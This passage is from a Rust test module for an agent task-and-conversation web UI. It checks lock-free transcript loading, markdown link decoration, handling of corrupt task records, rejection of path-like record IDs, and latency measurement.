27992            directory.join("job.json"),
27993            serde_json::to_vec(&job).unwrap(),
27994        )
27995        .unwrap();
27996        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
27997        let store =
27998            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
27999        let runtime = tokio::runtime::Builder::new_current_thread()
28000            .enable_all()
28001            .max_blocking_threads(1)
28002            .build()
28003            .unwrap();
28004        runtime.block_on(async {
28005            let (release, held) = std::sync::mpsc::channel();
28006            let (started, ready) = tokio::sync::oneshot::channel();
28007            let occupied = tokio::task::spawn_blocking(move || {
28008                started.send(()).unwrap();
28009                held.recv().unwrap();
28010            });
28011            ready.await.unwrap();
28012            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
28013            let bulk = ui
28014                .monitor
28015                .bulk_slots
28016                .clone()
28017                .acquire_many_owned(2)
28018                .await
28019                .unwrap();
28020            let result = tokio::time::timeout(
28021                Duration::from_secs(2),
28022                talk_core(State(ui.clone()), Path(id.clone())),
28023            )
28024            .await;
28025            // Release all blockers before assertions, including on a regression.
28026            drop(store);
28027            drop(bulk);
28028            release.send(()).unwrap();
28029            occupied.await.unwrap();
28030            let _ = secondary.await.unwrap().unwrap();
28031            let Json(core) = result
28032                .expect("transcript must bypass secondary work and the worker store lock")
28033                .unwrap();
28034            assert!(
28035                core.thinking,
28036                "read-only observation retains live worker state"
28037            );
28038            assert_eq!(core.talk.id, id);
28039            let admission_ui = ui.clone();
28040            let (release, held) = std::sync::mpsc::channel();
28041            let (started, ready) = tokio::sync::oneshot::channel();
28042            let admission = std::thread::spawn(move || {
28043                let _lock = admission_ui.talk_turns.lock().unwrap();
28044                started.send(()).unwrap();
28045                held.recv().unwrap();
28046            });
28047            ready.await.unwrap();
28048            let result = tokio::time::timeout(
28049                Duration::from_secs(2),
28050                talk_core(State(ui.clone()), Path(id.clone())),
28051            )
28052            .await;
28053            release.send(()).unwrap();
28054            admission.join().unwrap();
28055            assert!(
28056                result
28057                    .expect("display must not wait behind local admission")
28058                    .unwrap()
28059                    .0
28060                    .thinking
28061            );
28062            assert!(ui.is_thinking(&id));
28063            assert!(ui.is_thinking_observed(&id));
28064            drop(live);
28065            assert!(
28066                !ui.is_thinking_observed(&id),
28067                "a finished lease no longer appears live"
28068            );
28069            assert!(!ui.is_thinking(&id));
28070            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
28071            assert!(
28072                ui.is_thinking_observed(&id),
28073                "local admission remains visible"
28074            );
28075        });
28076    }
28077
28078    #[tokio::test]
28079    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
28080        let home = tempfile::tempdir().unwrap();
28081        let ui = delta_test_ui(home.path());
28082        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
28083        let mut task = Task::new(
28084            "Referenced task".into(),
28085            "Unrelated instruction history".repeat(1024),
28086            home.path().into(),
28087            Source::Human,
28088        );
28089        task.id = "20261019-000000-abcd".into();
28090        ui.queue.put(&mut task).unwrap();
28091        let mut conversation = ui.talks.get(&id).unwrap();
28092        conversation.turns.push(talk::Turn {
28093            sender: Some(talk::Sender::Persona),
28094            who: talk::Who::Agent,
28095            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
28096            at: conversation.created_at,
28097            attachments: Vec::new(),
28098            usage: None,
28099            breaks: None,
28100            messages: Vec::new(),
28101            posted_by: None,
28102        });
28103        ui.talks.put(&mut conversation).unwrap();
28104
28105        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
28106        let markdown = serde_json::to_value(&core.turn_bodies_md)
28107            .unwrap()
28108            .to_string();
28109        assert!(markdown.contains("\"strong\""));
28110        assert!(markdown.contains("\"table\""));
28111        assert!(markdown.contains("\"bullet_list\""));
28112        assert!(markdown.contains("\"code_block\""));
28113        assert!(!markdown.contains("\"internal_link\""));
28114        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
28115        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
28116        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
28117
28118        // Deferred decoration still resolves the same validated task, without
28119        // touching opaque code blocks or changing the original transcript.
28120        let references = ui.references.for_talk(home.path(), &conversation);
28121        let mut decorated = core.turn_bodies_md[0].clone();
28122        references.markdown(&mut decorated);
28123        let decorated = serde_json::to_value(decorated).unwrap().to_string();
28124        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
28125        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
28126        assert_eq!(
28127            ui.talks.get(&conversation.id).unwrap().turns[0].body,
28128            conversation.turns[0].body
28129        );
28130    }
28131
28132    #[tokio::test]
28133    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
28134        let home = tempfile::tempdir().unwrap();
28135        let ui = delta_test_ui(home.path());
28136        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28137        let mut run = RunState::new(
28138            PathBuf::from("/repo"),
28139            "main".into(),
28140            "01234567".into(),
28141            "Useful run".into(),
28142            Config::default(),
28143        );
28144        run.save_under(home.path()).unwrap();
28145        let mut task = Task::new(
28146            "Related".into(),
28147            "body".into(),
28148            PathBuf::from("/repo"),
28149            Source::Agent {
28150                run: talk_id.clone(),
28151                node: "chat".into(),
28152            },
28153        );
28154        task.runs = vec![run.id.clone()];
28155        ui.queue.put(&mut task).unwrap();
28156        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
28157        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
28158        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
28159        assert!(
28160            run_detail(State(ui.clone()), Path(run.id.clone()))
28161                .await
28162                .is_ok()
28163        );
28164        assert!(
28165            talk_sections(State(ui.clone()), Path(talk_id.clone()))
28166                .await
28167                .is_ok()
28168        );
28169        // Previously indexed corruption must not masquerade as no relationship.
28170        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
28171        assert!(ui.find_task_for_run(&run.id).is_err());
28172        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
28173        ui.queue.put(&mut task).unwrap();
28174        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
28175    }
28176
28177    #[tokio::test]
28178    async fn conversation_sections_omit_large_task_instructions() {
28179        let home = tempfile::tempdir().unwrap();
28180        let ui = delta_test_ui(home.path());
28181        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28182        let mut task = Task::new(
28183            "filed task".into(),
28184            "large instruction ".repeat(65536),
28185            PathBuf::from("/repo"),
28186            Source::Agent {
28187                run: id.clone(),
28188                node: "chat".into(),
28189            },
28190        );
28191        ui.queue.put(&mut task).unwrap();
28192        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
28193        assert_eq!(sections["tasks"][0]["id"], task.id);
28194        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
28195        assert!(sections["tasks"][0].get("instruction").is_none());
28196        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
28197    }
28198
28199    #[test]
28200    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
28201        let home = tempfile::tempdir().unwrap();
28202        let talks = Talks::at(home.path().join("talks"));
28203        seed_talk_at(&talks, "20261019-000001-abcd", "open");
28204        seed_talk_at(&talks, "20261019-000002-abcd", "open");
28205        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
28206        assert!(resolve_talk(&talks, "../outside").is_err());
28207        assert!(resolve_talk(&talks, "abcd").is_err());
28208        assert_eq!(
28209            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
28210            "20261019-000001-abcd"
28211        );
28212    }
28213
28214    include!(concat!(
28215        env!("CARGO_MANIFEST_DIR"),
28216        "/tests/web_latency/baseline.rs"
28217    ));
28218
28219    include!(concat!(
28220        env!("CARGO_MANIFEST_DIR"),
28221        "/tests/web_latency/lists.rs"
28222    ));
28223
28224    #[tokio::test]
28225    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
28226    async fn web_history_latency_measurement() {
28227        use std::time::Instant;
28228        let home = tempfile::tempdir().unwrap();
28229        let ui = delta_test_ui(home.path());
28230        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28231        let mut template = ui.talks.get(&id).unwrap();
28232        template.turns = serde_json::from_value(serde_json::json!([{
28233            "who": "operator", "body": "Show the accumulated work and its current status.",
28234            "at": Timestamp::now().to_string(),
28235        }]))
28236        .unwrap();
28237        std::fs::write(
28238            ui.talks.path_of(&id),
28239            serde_json::to_vec(&template).unwrap(),
28240        )
28241        .unwrap();
28242        let count = std::env::var("MAGI_BENCH_RECORDS")
28243            .ok()
28244            .and_then(|s| s.parse::<usize>().ok())
28245            .unwrap_or(1000);
28246        for i in 0..count {
28247            template.id = format!("20261019-{i:06}-history");
28248            template.pending = "history ".repeat(2048);
28249            std::fs::write(
28250                ui.talks.path_of(&template.id),
28251                serde_json::to_vec(&template).unwrap(),
28252            )
28253            .unwrap();
28254            let mut task = Task::new(
28255                "old task".into(),
28256                "instruction ".repeat(2048),
28257                PathBuf::from("/repo"),
28258                Source::Human,
28259            );
28260            task.id = format!("20261019-{i:06}-task");
28261            ui.queue.put(&mut task).unwrap();
28262        }
28263        for baseline in [true, false] {
28264            for clients in [1, 4] {
28265                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
28266                let mut samples = Vec::new();
28267                for _ in 0..12 {
28268                    let mut jobs = Vec::new();
28269                    for _ in 0..clients {
28270                        let ui = ui.clone();
28271                        let id = id.clone();
28272                        jobs.push(tokio::spawn(async move {
28273                            let start = Instant::now();
28274                            if baseline {
28275                                let response =
28276                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
28277                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
28278                                return (
28279                                    elapsed,
28280                                    elapsed,
28281                                    serde_json::to_vec(&response).unwrap().len(),
28282                                );
28283                            }
28284                            let core = talk_core(State(ui.clone()), Path(id.clone()));
28285                            let secondary = talk_sections(State(ui), Path(id));
28286                            let (first, total) = tokio::join!(
28287                                async {
28288                                    let value = core.await.unwrap().0;
28289                                    (
28290                                        start.elapsed().as_secs_f64() * 1000.0,
28291                                        serde_json::to_vec(&value).unwrap().len(),
28292                                    )
28293                                },
28294                                async {
28295                                    let value = secondary.await.unwrap().0;
28296                                    (
28297                                        start.elapsed().as_secs_f64() * 1000.0,
28298                                        serde_json::to_vec(&value).unwrap().len(),
28299                                    )
28300                                }
28301                            );
28302                            (first.0, first.0.max(total.0), first.1 + total.1)
28303                        }));
28304                    }
28305                    for job in jobs {
28306                        samples.push(job.await.unwrap());
28307                    }
28308                }
28309                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
28310                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
28311                first.sort_by(f64::total_cmp);
28312                total.sort_by(f64::total_cmp);
28313                let n = first.len();
28314                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
28315                println!(
28316                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
28317                    first[n / 2],
28318                    first[(n * 95 / 100).min(n - 1)],
28319                    total[n / 2],
28320                    total[(n * 95 / 100).min(n - 1)],
28321                    samples[0].2
28322                );
28323            }
28324        }
28325    }
28326
28327    #[test]
28328    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
28329        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
28330        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
28331        assert!(APP_JS.contains("function nextRunRequest(id)"));
28332        assert!(APP_JS.contains("function runShell(id, summary)"));
28333        assert!(APP_JS.contains("function nextTaskRequest(id)"));
28334        assert!(APP_JS.contains("function taskShell(id, summary)"));
28335        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
28336    }
28337}